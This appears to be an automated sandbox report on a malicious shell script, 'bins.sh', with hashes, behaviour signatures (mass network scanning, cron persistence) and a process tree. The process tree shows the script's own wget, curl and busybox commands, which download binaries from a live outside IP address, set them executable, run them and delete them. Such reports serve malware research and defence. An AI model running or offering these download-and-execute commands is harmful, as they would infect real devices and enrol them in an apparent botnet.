Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04-11-2024 15:51

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    898d2a8094e95f2f2f209d428d2b92ee

  • SHA1

    54d0f3fd153a1d6b01517f1edb40a857c0e99f30

  • SHA256

    c92c00e4a850ad8e04046670752a4df1f859bec56c7ab8ec7b79e187d76d11b2

  • SHA512

    b35541605c8b1b92212cb1c5ca69ec259257a3fb89fc3d88bd487b1ee81dec4867611b2d0ae14ce7c25cf6a66af314f8ef488d11ce067687626373ceee2af062

  • SSDEEP

    192:9l/XbGStJNVIZNW/nDQvP2QcdCSFXbN5NVIZNMnDQvP2QcdCSr:9lySDNVIZNW/nDQvPqNVIZNMnDQvPq

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1948) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:654
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:656
        • /usr/bin/wget
          wget http://87.120.84.230/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Writes file to tmp directory
          PID:663
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:683
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Writes file to tmp directory
          PID:686
        • /bin/chmod
          chmod 777 sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • File and Directory Permissions Modification
          PID:687
        • /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          ./sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Executes dropped EXE
          PID:688
        • /bin/rm
          rm sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
            PID:690
          • /usr/bin/wget
            wget http://87.120.84.230/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • Writes file to tmp directory
            PID:691
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:693
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • Writes file to tmp directory
            PID:703
          • /bin/chmod
            chmod 777 0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • File and Directory Permissions Modification
            PID:716
          • /tmp/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            ./0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:717
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:719
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                  • Reads runtime system information
                  PID:721
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:723
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:724
              • /bin/rm
                rm 0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
                2⤵
                  PID:733
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
                  2⤵
                    PID:737
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
                    2⤵
                      PID:739
                    • /bin/busybox
                      /bin/busybox wget http://87.120.84.230/bins/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
                      2⤵
                      • Writes file to tmp directory
                      PID:742
                    • /bin/chmod
                      chmod 777 y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
                      2⤵
                      • File and Directory Permissions Modification
                      PID:753
                    • /tmp/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
                      ./y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
                      2⤵
                      • Executes dropped EXE
                      PID:754
                    • /bin/rm
                      rm y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
                      2⤵
                        PID:755
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                        2⤵
                          PID:756

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF

                        Filesize

                        141KB

                        MD5

                        3ca8decdb1e52c423c521bfff02ac200

                        SHA1

                        8621ecd6807109b8541912ad9e134f6fb49bfd48

                        SHA256

                        dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                        SHA512

                        b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                      • /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr

                        Filesize

                        112KB

                        MD5

                        05d7857dcead18bbd86d2935f591873c

                        SHA1

                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                        SHA256

                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                        SHA512

                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                      • /tmp/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy

                        Filesize

                        119KB

                        MD5

                        1b166b95f9cb4b079ef1b9ec8363ddf3

                        SHA1

                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                        SHA256

                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                        SHA512

                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                      • /var/spool/cron/crontabs/tmp.RI2hfy

                        Filesize

                        210B

                        MD5

                        984f9ba94c29ce9854ac70cc7f835fbc

                        SHA1

                        4647b03175f969a3a69bc5bfab87af571287e116

                        SHA256

                        62286853b73d320fa3032c28008ef68e3417f841953901a2507406c3f2ace479

                        SHA512

                        375d3471044536253e25976bf40214f2a8ae627c2a4b826cd78eb0dfc83fd80f6f850b2551a752f0be77f6f5ec123034e02b3a0e2319a6a37b35928f87f71a5b